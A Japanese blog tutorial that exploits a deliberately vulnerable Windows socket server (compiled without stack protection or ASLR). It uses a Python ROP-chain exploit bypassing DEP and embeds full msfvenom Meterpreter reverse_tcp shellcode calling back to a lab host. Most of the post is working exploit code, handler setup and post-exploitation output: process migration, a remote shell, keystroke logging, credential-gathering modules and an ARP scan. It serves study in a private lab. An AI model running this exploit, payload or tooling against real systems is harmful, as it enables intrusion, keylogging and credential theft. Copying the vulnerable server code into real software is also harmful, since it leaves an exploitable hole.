Windowsでスタックバッファオーバーフロー脆弱性からMeterpreterに接続してみる

主にWindows環境に対して使われる高機能なリモート操作コンソールとして、Meterpreterと呼ばれるものがある。 ここでは、Metasploit Frameworkを使いMeterpreter用のシェルコードを生成してみる。 さらに、スタックバッファオーバーフロー脆弱性を利用してこのシェルコードを実行し、Meterpreterコンソールに接続してみる。

Metasploit FrameworkはどのようなLinux環境でも動作するが、ここではKali Linuxと呼ばれるペネトレーションテストディストリビューションを利用する。 Kali LinuxにはMetasploitを含むさまざまなセキュリティツールが標準でインストールされており、インストール作業を省略することができる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、msvcr71.dllインストール済

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>powershell -c "(dir C:\Windows\SysWOW64\msvcr71.dll).VersionInfo.FileVersion"
7.10.3052.4

Kali Linux 1.1.0a 64 bit版、Metasploit Framework 4.11.3

root@vm-kali64:~# uname -a
Linux vm-kali64 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux

root@vm-kali64:~# lsb_release -a
No LSB modules are available.
Distributor ID: Kali
Description:    Kali GNU/Linux 1.1.0
Release:        1.1.0
Codename:       moto

root@vm-kali64:~# msfconsole -v
Framework Version: 4.11.3-2015063001

脆弱性のあるプログラムを書いてみる

脆弱性のあるプログラムおよびエクスプロイトコードは、「Windowsでnon-ASLR DLLを利用したROPによるDEP回避をやってみる」と同じものを用いることにする。

/* bof.c */
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#include <stdio.h>
#pragma comment(lib, "ws2_32.lib")

void bof(SOCKET c)
{
    char buf[400];
    printf("[+] buf = %p\n", buf);
    recv(c, buf, 1024, 0);
}

int main()
{
    WSADATA wsaData;
    SOCKET s, c;
    SOCKADDR_IN name;
    BOOL yes = 1;

    WSAStartup(MAKEWORD(2, 2), &wsaData);

    s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);
    setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes));

    name.sin_family = AF_INET;
    name.sin_addr.s_addr = INADDR_ANY;
    name.sin_port = htons(4444);

    bind(s, (SOCKADDR *)&name, sizeof(name));
    listen(s, 5);
    puts("[+] listening on 0.0.0.0 port 4444");

    c = accept(s, NULL, NULL);
    closesocket(s);
    puts("[+] connection accepted");

    bof(c);

    closesocket(c);

    ExitProcess(0);
}

コンパイルし、実行ファイルを生成する。

>cl bof.c /GS- /link /dynamicbase:no

Meterpreterシェルコードを生成してみる

まず、msfvenomコマンドを使ってMeterpreter用のシェルコードを生成してみる。 オプションの一覧やペイロード名の一覧を表示させるには、次のようにする。

root@vm-kali64:~# msfvenom
No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] <var=val>

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
    -h, --help                       Show this message

root@vm-kali64:~# msfvenom -l

Framework Payloads (428 total)
==============================

    Name                                                Description
    ----                                                -----------
    aix/ppc/shell_bind_tcp                              Listen for a connection and spawn a command shell
    aix/ppc/shell_find_port                             Spawn a shell on an established connection

Windows用のmeterpreterシェルコードを探すには、これらの文字列が含まれるペイロードを調べればよい。 nonxordがつくものの違いについては、次のページに説明がある。

windows/meterpreter/reverse_tcpを用いてconnect back型のシェルコードをPython形式で生成してみる。

root@vm-kali64:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.4 LPORT=4444 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x38\x04\x68"
buf += "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

LHOST、LPORTパラメータにはターゲットとなるWindowsマシンから見た接続先を指定する。 接頭辞にLがついているのは、コンソールを動かす攻撃者から見たときこれらはローカルホストとなるためである。 また、ここでは指定しないが-b "\x00\x0d\x0a"のようにオプションを指定することでNUL文字および改行文字が含まれないようにシェルコードをエンコードすることもできる。

エクスプロイトコードを書いてみる

エクスプロイトコード中のシェルコードに上で生成したシェルコードを入れると、次のようになる。

# exploit.py
import socket
import struct

addr_buf = 0x0018FBF0
addr_pop_ecx = 0x004011e2        # 0x004011e2: pop ecx ; ret  ;  (30 found)
addr_jmp_ptr_ecx = 0x004056c1    # 0x004056c1: jmp dword [ecx] ;  (2 found)
addr_ret = 0x00401038            # 0x00401038: ret  ;  (416 found)
iat_loadlibraryexw = 0x0040d0cc  # 0040d0cc  767ca720 KERNEL32!LoadLibraryExWStub
iat_virtualprotect = 0x7c37a140  # 7c37a140  767c8ab0 KERNEL32!VirtualProtectStub [MSVCR71.dll]
bufsize = 400

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.4 LPORT=4444 -f python
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\x38\x04\x68"
buf += "\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

shellcode = buf

def wchar(s):
    return ''.join(c+'\x00' for c in s)

buf = wchar('MSVCR71\x00')
buf += 'A' * (bufsize-len(buf))
buf += 'AAAA'                                   # saved ebp
buf += struct.pack('<I', addr_pop_ecx)          # retaddr
buf += struct.pack('<I', iat_loadlibraryexw)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to LoadLibraryExW() -> ret 0Ch
buf += struct.pack('<I', addr_ret)
buf += struct.pack('<I', addr_buf)              # lpFileName
buf += struct.pack('<I', 0)                     # hFile
buf += struct.pack('<I', 0)                     # dwFlags
buf += struct.pack('<I', addr_pop_ecx)
buf += struct.pack('<I', iat_virtualprotect)
buf += struct.pack('<I', addr_jmp_ptr_ecx)      # jump to VirtualProtect()
buf += struct.pack('<I', addr_buf+bufsize+4*16)
buf += struct.pack('<I', addr_buf)              # lpAddress
buf += struct.pack('<I', 1024)                  # dwSize
buf += struct.pack('<I', 0x40)                  # flNewProtect = PAGE_EXECUTE_READWRITE
buf += struct.pack('<I', addr_buf)              # lpflOldProtect
buf += shellcode

c = socket.create_connection(('127.0.0.1', 4444))
c.sendall(buf)
c.close()

Meterpreterコンソールに接続してみる

まず、msfconsoleコマンドからMetasploitを起動し、接続を待ち受けるハンドラを動かす。 なお、-qオプションを指定することで起動時にランダムに表示されるバナーを抑制することができる。

msf > use multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: , , seh, thread, process, none)
   LHOST                      yes       The listen address
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set LHOST 192.168.56.4
LHOST => 192.168.56.4
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.56.4:4444
[*] Starting the payload handler...

LHOST、LPORTには、シェルコードを生成した際と同じものを指定する。

Windows上で脆弱なプログラムを起動し、エクスプロイトコードを実行してみる。

>bof.exe
$ python exploit.py

シェルコードが実行されると、Meterpreterコンソールに接続が行われ、コンソールにその内容が表示される。

[*] Sending stage (884270 bytes) to 192.168.56.1
[*] Meterpreter session 1 opened (192.168.56.4:4444 -> 192.168.56.1:56007) at 2015-07-13 00:04:26 +0900

meterpreter >

Meterpreterを使ってみる

Meterpreterの特長は次の通りである。

  • コマンド履歴、タブ補完、マルチチャネルによる高い操作性
  • 接続後ネットワーク経由で機能拡張が可能
  • client-side Ruby APIにより自由にコントロールできる

Meterpreterではシステム情報の収集やコマンドプロンプトの起動のみならず、キーロガースクリーンショットWebカメラ起動、ファイル収集などさまざまな機能が実装されている。

まず最初に、バックグラウンドプロセスを起動してこのプロセスにMeterpreterを乗り移らせてみる(migrate)。

meterpreter > getpid
Current pid: 6164
meterpreter > run post/windows/manage/migrate

[*] Running module against TARGET-WIN8
[*] Current server process: bof.exe (6164)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 5956
[+] Successfully migrated to process 5956
meterpreter > getpid
Current pid: 5956

migrateに成功すると、攻撃を受けたプロセスがクラッシュすることなく終了することがわかる。

次に、コマンドの一覧を表示してみる。

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    ...

各種システム情報を取得してみる。

meterpreter > getuid
Server username: target-win8\user
meterpreter > sysinfo
Computer        : TARGET-WIN8
OS              : Windows 8.1 (Build 9600).
Architecture    : x64 (Current Process is WOW64)
System Language : ja_JP
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/win32
meterpreter > ps


Process list
============

 PID   Name                                 Arch  Session  User               Path
 ---   ----                                 ----  -------  ----               ----
 0     [System Process]
 4     System
(snip)
meterpreter > ls
Listing: C:\Users\user\Desktop\test
===================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100666/rw-rw-rw-  2211    fil   2015-04-09 22:35:50 +0900  Developer Command Prompt for VS2013.lnk
100666/rw-rw-rw-  898     fil   2015-07-12 23:46:57 +0900  bof.c
(snip)
meterpreter > ipconfig

Interface  1
============
Name         : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU          : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

(snip)

コマンドプロンプトを起動するには、shellコマンドを使う。

meterpreter > shell
Process 7008 created.
Channel 1 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\user\Desktop\test>whoami
whoami
target-win8\user

C:\Users\user\Desktop\test>exit
exit

キーロガーを動かしてみる。

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
 <Return>  <0xf4> typing a secret message ... <Return>  <Up>  <Up>  <Return>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

backgroundコマンドを使うと、接続を維持したままMeterpreterコンソールから抜けることができる。 抜けたコンソールに再度入るには、Metasploit側のsessionsコマンドを使う。

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > sessions -l

Active sessions
===============

  Id  Type                   Information                       Connection
  --  ----                   -----------                       ----------
  1   meterpreter x86/win32  target-win8\user @ TARGET-WIN8    192.168.56.4:4444 -> 192.168.56.1:56007 (192.168.56.1)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter >

runコマンドからは、Metasploit本体のpostモジュールを使い機能を拡張することができる。

meterpreter > run [TAB][TAB]
Display all 241 possibilities? (y or n)
run arp_scanner                                           run post/windows/gather/credentials/coreftp               run post/windows/gather/lsa_secrets
run autoroute                                             run post/windows/gather/credentials/credential_collector  run post/windows/gather/memory_grep
run checkvm                                               run post/windows/gather/credentials/domain_hashdump       run post/windows/gather/outlook
run credcollect                                           run post/windows/gather/credentials/dyndns                run post/windows/gather/phish_windows_credentials
run domain_list_gen                                       run post/windows/gather/credentials/enum_cred_store       run post/windows/gather/resolve_sid
run dumplinks                                             run post/windows/gather/credentials/enum_picasa_pwds      run post/windows/gather/reverse_lookup
run duplicate                                             run post/windows/gather/credentials/epo_sql               run post/windows/gather/screen_spy
run enum_chrome                                           run post/windows/gather/credentials/filezilla_server      run post/windows/gather/smart_hashdump
(snip)

接続先のマシンでARP scanを行い、LAN内のホストを探索してみる。

meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.56.0/24

[*] Running module against TARGET-WIN8
[*] ARP Scanning 192.168.56.0/24
[*]     IP: 192.168.56.4 MAC 08:00:27:35:7c:3b (CADMUS COMPUTER SYSTEMS)
[*]     IP: 192.168.56.1 MAC 08:00:27:00:94:d2 (CADMUS COMPUTER SYSTEMS)
[Ctrl+C]
[-] Post interrupted by the console user

Meterpreterコンソールを終了すると、接続が切断される。

meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.56.1 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > exit

プロセスマネージャを確認すると、migrate時に起動されたnotepad.exeが終了していることがわかる。

関連リンク